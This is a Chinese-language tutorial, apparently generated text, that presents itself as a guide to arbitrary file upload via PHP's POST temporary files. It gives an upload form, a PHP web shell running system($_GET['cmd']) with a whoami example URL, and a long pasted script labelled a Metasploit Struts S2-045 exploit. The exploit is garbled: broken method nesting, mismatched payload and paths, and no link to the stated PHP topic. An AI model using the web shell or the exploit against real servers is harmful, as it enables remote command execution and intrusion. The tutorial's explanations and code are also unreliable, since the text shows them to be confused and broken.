利用PHP POST临时文件机制实现任意文件上传的方法详解

yizhihongxing

理解题意:要求提供一份完整的攻略,介绍如何通过PHP的POST临时文件机制实现任意文件上传。攻略需要包括原理、步骤以及至少两个具体的示例说明。

原理

POST请求中可以包含上传文件的内容,通过PHP的$_FILES全局变量可以获得上传文件的信息,同时,PHP会在服务器本地创建一个临时文件,该临时文件可以在后续的操作中用到。

读取临时文件的方式有很多种,攻击者可以通过该方式上传恶意文件,从而实现攻击目标。

步骤

以下是基本步骤:

  1. 构造文件上传的POST请求,向目标服务器发送请求。
  2. 服务器接收到请求,会把上传的文件信息存储在$_FILES中,同时创建一个临时文件。
  3. 攻击者读取临时文件,进行后续的恶意操作。

示例一

以下是一个基本的文件上传攻击的示例:(假设目标服务器存在upload.php文件,可以接收文件上传请求)

<form enctype="multipart/form-data" action="http://example.com/upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="100000" />
    <input type="file" name="userfile" />
    <input type="submit" value="Upload File" />
</form>

攻击者可以通过此界面上传任意文件,其中name属性为userfile的input标签中的文件即为上传的文件。

例如,攻击者可以上传一个名为“evil.php”的文件,其中包含如下代码:

<?php
    system($_GET['cmd']);
?>

接着,攻击者可以在URL中发送一条如下所示的命令:

http://example.com/uploads/evil.php?cmd=whoami

这会运行whoami命令并将结果返回到攻击者的浏览器中。

示例二

在例子一中,攻击者可以通过查询uploaded_files数组来检查是否已经成功上传文件。但是使用这种方法时还必须知道从哪个文件上传目录查找上传的文件。为了使攻击更加隐蔽,攻击者可以使用PoC工具生成来攻击的链接,例如,以下是一段从Metasploit工具中获取的PoC脚本:

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern =&gt; [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Apache Struts Jakarta Multipart Parser OGNL Injection (S2-045)',
      'Description'    =&gt; %q{
          This module exploits a remote code execution vulnerability in Apache
        Struts version between 2.3.5 and 2.3.31 (except 2.3.20.2 and 2.3.24.2).
        Remote Code Execution can be performed via a malicious Content-Type value.
        This module uses the 'Content-Type' header to specify the payload.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Nixawk', #fuzzbunch.py from shadowbrokers arsenal
          'Nixawk'  #metasploit moduel from fuzzbunch exploit
        ],
      'References'     =&gt;
        [
          [ 'CVE', '2017-5638' ],
          [ 'URL', 'http://seclists.org/oss-sec/2017/q1/536' ],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/41570/' ]
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'Space'       =&gt; 2000, # 1024 * 1024 = 1M
          'DisableNops' =&gt; true,
          'Compat'      =&gt; {
            'PayloadType' =&gt; 'cmd',
            'RequiredCmd' =&gt; 'generic python ruby bash telnet',
          }
        },
      'Platform'       =&gt; %w{ linux unix win },
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt;
        [
          ['Apache Struts 2.3 - 2.3.31 (except 2.3.20.2 and 2.3.24.2)', { 'auto' =&gt; true }]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Mar 06 2017'))

      deregister_options('Proxies')
      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [true, 'The URI path of the Struts application', '/struts2-showcase/']),
          OptString.new('CMD', [false, 'The command to execute', 'uname -a']),
        ])

  end

  def check
    flag_p = rand_text_alpha(8)
    flag_v = rand_text_alpha(8)
    poc = '&lt;P&gt;#{%27%25%28%27+"%2b'+flag_p+'+"%2b%27%25%28%27}suman%{#'+flag_v+'%3d7*7}.test%{#'+flag_v+'}</p>'

    res = send_request_cgi({
      'uri' =&gt; normalize_uri(target_uri.path, 'acctglaze', 'dispatch.action'),
      'method' =&gt; 'GET',
    })

    if res && res.code == 200 && res.body =~ /name="k1" id="k1"/
      print_good("#{peer} - Apache Struts &lt; 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
      return Exploit::CheckCode::Appears
    elsif res && res.code == 200 && res.body =~ /#{flag_p}/ && res.body =~ /#{flag_v}/
      print_good("#{peer} - Apache Struts &lt; 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def upload_exe(cmd)
    exe_out = generate_payload_exe
    post_data = Rex::MIME::Message.new
    post_data.add_part("suman", nil, nil, "form-data; name=\"name\"")
    post_data.add_part(exe_out, 'application/octet-stream', nil, "form-data; name=\"userid\";filename=\"test.txt\"")
    data = post_data.to_s.gsub(/^\r\n\-\-\_Part/, '--_Part')
    boundary = "--_Part"

    res = send_request_cgi(
      {
        'uri'     =&gt; normalize_uri(target_uri.path, '/ajax', '/upload.action'),
        'method'  =&gt; 'POST',
        'ctype'   =&gt; "multipart/form-data; boundary=#{boundary}",
        'data'    =&gt; data
      })

    if res && res.body =~ /"savename":".*?"/m
      filename = res.body.scan(/"savename":"(.*?)"/m).flatten.first.gsub(/\\u0027/,"'")
      print_status("The file \"#{filename}\" has been uploaded via payload.")
      @_path = filename
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed: #{res.code} #{res.message}")
    end
  end

  def execute_command(cmd, opts={})
    payload_exe = "#{@tempdir}/#{@rand}.exe"

    begin
        upload_exe(cmd)
        res = send_request_cgi(
        {
          'uri'     =&gt; normalize_uri(target_uri.path, '?'),
          'method'  =&gt; 'POST',
          'ctype'   =&gt; 'application/x-www-form-urlencoded',
          'data'    =&gt; "name=%27%2b%28%28%27#{URI.escape(opts[:prefix]||''+(rand_text_alpha(8))}%27%29%29%2b%27&age=y&description=nagehoh&myPhoto=#{/.*\/(.*)/.match(@_path)[1]}&submit=Submit#"
        }
      )

        @exe_cmd = "#{payload_exe} #{@payload_name} #{@payload_q}"
      end

      def exploit
        print_status("#{peer} - Checking if the target is vulnerable...")
        check_code = check

        if check_code == Exploit::CheckCode::Appears
          print_status("#{peer} - Uploading and executing the payload...")
          execute_command(payload.raw, :prefix =&gt; 'echo %COMSPEC% > ')

          if res && res.code == 200 && res.body =~ /#{payload.raw}/
            print_good("#{peer} - #{res.body}")
          else
            fail_with(Failure::UnexpectedReply, "#{peer} - Failed to execute the payload.")
          end
        else
          fail_with(Failure::NotVulnerable, "#{peer} - Target is not vulnerable.")
        end
      end
    end
end

该脚本会在上传时将恶意代码转换为字符串,并通过POST请求上传。如果攻击成功,该脚本会在服务器上运行Payload包含的命令,攻击者随后便可以在自己的机器上获取命令执行结果。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:利用PHP POST临时文件机制实现任意文件上传的方法详解 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • PHP获取一个字符串中间一部分字符的方法

    获取一个字符串中间一部分字符的方法在PHP中有多种实现方式,以下是其中的几种方法: 方法一:substr函数 substr(string $string, int $start, int|null $length = null): string|false 该函数用于返回字符串的一部分,其参数解释如下: $string:表示要处理的原始字符串。 $start…

    PHP 2023年5月26日
    00
  • PHP中list方法用法示例

    下面为你详细讲解“PHP中list方法用法示例”的完整攻略。 什么是list方法 list()是PHP语言中的一个语言结构,它可以将一个数组中的值分配给一组变量。这个语法结构可以方便地使用已有的数组来初始化一组变量,同时可以消除冗余的代码行。在将数组分配给变量时,变量数和数组元素数必须相同,否则将发生错误。 list方法的语法 list ( mixed $v…

    PHP 2023年5月26日
    00
  • php从数组中随机选择若干不重复元素的方法

    首先需要明确随机选择若干不重复元素的方法有很多种,以下是一种常用的PHP实现方法。 步骤1:定义数组 首先,我们需要定义一个数组,数组中包含多个元素,用于进行随机选择。 $myArray = array(‘a’,’b’,’c’,’d’,’e’); 步骤2:确定需要选择的元素个数 接着,我们需要确定需要随机选择的元素个数,这个可以通过一个变量来定义。 $num…

    PHP 2023年5月26日
    00
  • PHP数组及条件,循环语句学习

    PHP数组学习 什么是数组 在 PHP 中,数组用于存储多个值,一个数组可以包含多个值,并且可以是不同数据类型的。每个值在数组中有一个唯一的键值(key value),该键可以是数字或字符串。 数组的创建和使用 创建数组可以使用 array() 或者 [],如下所示: //使用array() $arr1 = array(10, 20, 30); $arr2 …

    PHP 2023年5月26日
    00
  • php的4种常用运行方式详解

    下面我将详细讲解“PHP的4种常用运行方式详解”的完整攻略,内容如下: PHP的4种常用运行方式详解 什么是PHP运行方式? PHP 是一种开源、跨平台的服务器端脚本语言,主要用于web应用程序开发。它有许多种不同的运行方式,从而满足不同情况下的开发需求。 4种常用的PHP运行方式 CLI 模式(Command-Line Interface 模式) 此模式是…

    PHP 2023年5月30日
    00
  • 46 个非常有用的 PHP 代码片段

    这里是关于“46 个非常有用的 PHP 代码片段”的详细攻略。 1. 什么是“46 个非常有用的 PHP 代码片段”? “46 个非常有用的 PHP 代码片段”是一个由网站作者整理的,适用于PHP程序员的代码集合。该代码集合包括了一系列常见的代码片段,可提高PHP程序员的开发效率和代码质量。 2. 如何获取“46 个非常有用的 PHP 代码片段”? 你可以通…

    PHP 2023年5月24日
    00
  • PHP查询分页的实现代码

    当我们需要从数据库中查询大量数据时,需要进行分页处理来避免一次性查询过多的数据,影响网页响应速度。本攻略将详细介绍如何使用PHP实现分页功能。 实现思路 分页功能主要涉及两个参数:当前页码和每页显示的数据条数。通过这两个参数,结合数据库中数据的总数,计算出总页数。然后根据当前页码查询数据库中对应页码的数据,并进行渲染。 准备工作 数据库中存储的数据表,例如名…

    PHP 2023年5月23日
    00
  • PHP页面实现定时跳转的方法

    关于“PHP页面实现定时跳转的方法”的攻略,下面请看详细说明: 一、使用PHP的header函数实现定时跳转 PHP内置的header函数可以实现HTTP协议头的输出,我们可以利用这一特性来实现定时跳转功能。 代码示例: <?php header("refresh: 5;url=http://www.example.com"); /…

    PHP 2023年5月29日
    00
合作推广
合作推广
分享本页
返回顶部